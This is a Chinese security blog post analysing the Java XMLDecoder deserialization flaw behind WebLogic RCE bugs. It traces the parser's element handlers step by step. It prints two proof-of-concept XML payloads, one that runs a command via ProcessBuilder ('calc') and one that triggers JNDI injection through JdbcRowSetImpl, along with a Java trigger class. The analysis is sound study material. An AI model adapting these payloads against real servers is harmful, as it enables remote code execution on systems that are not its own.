最近在看之前的weblogic的漏洞,无疑逃不了分析xml这个漏洞,一段简单的demo
<java version="1.7.0_80" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
public class test{
public static void main(String[] args) throws IOException, InterruptedException {
XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("b.xml")));
Object readObject = xmlDecoder.readObject();
//System.out.println(readObject);
xmlDecoder.close();
}
简短几行代码就可以成功rce,这里命令执行是ProcessBuilder这个类(jdk1.7.0_21)
最开始的weblogic的漏洞也是这里开始,只要调用了xmlDecoder.readObject()就可能导致上传恶意xml文件达到rce,之后weblogic也是对这里面的一系列关键字进行过滤,但是还是有被绕过的情况,这个等一会再说。
回到xml这里,直接打断点进行分析
可以发现在第一步的时候就已经传入一个hashmap,里面存放各种标签对应的类
后面继续跟进parse这个函数,最后来到这里
可以看一下堆栈
最后看到处理xml的地方
跟进这个函数来到这里,这个函数通过迭代的方式对XML数据的标签进行解析
最后来到这里,scanEndElement,当没扫描到结束字符后,便开始进行解析
可以看见,我们xml最里面一个标签是<string>calc</string>
这个,所以第一个进行解析
跟了一下到了这里DocumentHandler#endElement
再跟一下可以到这里,进去可以看一下这个就开始取值了
可以看见这里的函数其实是已经获得了calc,即我们传入的字符了,但是最后却没有返回,返回的是一个带有calc的ValueObjectImpl,而且你可以发现,现在的getValObject是在StringElementHandler的里面,对应前面一开始传入的hashmap对应值,也就是说在这里他截取了</string>
这个,然后去hashmap里面找对应的类,然后在getValueObject
然后进行判断,最终在这里将calc进行赋值给父类
后面在这里,进行递归this.handler = this.handler.getParent()
后面再一次进入循环的时候,此时已经是NewElementHandler#getValueObject,但是按照hashmap是应该调用VoidElementHandler#getValueObject,但是VoidElementHandler没有这个方法,于是便找他父类方法,到了这里
void这里,会将上一次传入的calc继续传
中间省略一点,直接到这里,通过下面函数直接实例化了
再一次进入这个循环后,在次getValueObject
这里会进行一个操作,对后面的有一个jndi很关键,判断property是否为空,然后加入set,get字段,最后将第一个字符转为大写,但是在这里我们传入的是一个<void method="start"></void>
,所以判断就都过了,最后在ValueObjectImpl.create(var5.getValue());里面有个invoke,成功执行了
JNDI
之前说到这里可以jndi,前面xml解析哪里就不说了,直接看关键的吧
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="com.sun.rowset.JdbcRowSetImpl">
<void property="dataSourceName">
<string>rmi://localhost:1099/test</string>
</void>
<void property="autoCommit">
<boolean>true</boolean>
</void>
</void>
</java>
调用的是JdbcRowSetImpl这个类,先找到jndi注入点
可以看见这里是直接调用connect(),既然找到了调用方法,接下来就是看这里面的参数能否可控了
看一下之前的xml文件,这一部分之前说过,当property不为空就可以进入循环,就是在下图这个位置,然后invoke,直接调用方法了,这里是先进行赋值
后面这里进行调用方法setAutoCommit,然后到jndi那段代码上去
最后补张图吧
CSDN以后时不时来更一下吧
主要还是我的blog:https://f1or.cn
参考文章
https://www.freebuf.com/articles/network/247331.html
http://xxlegend.com/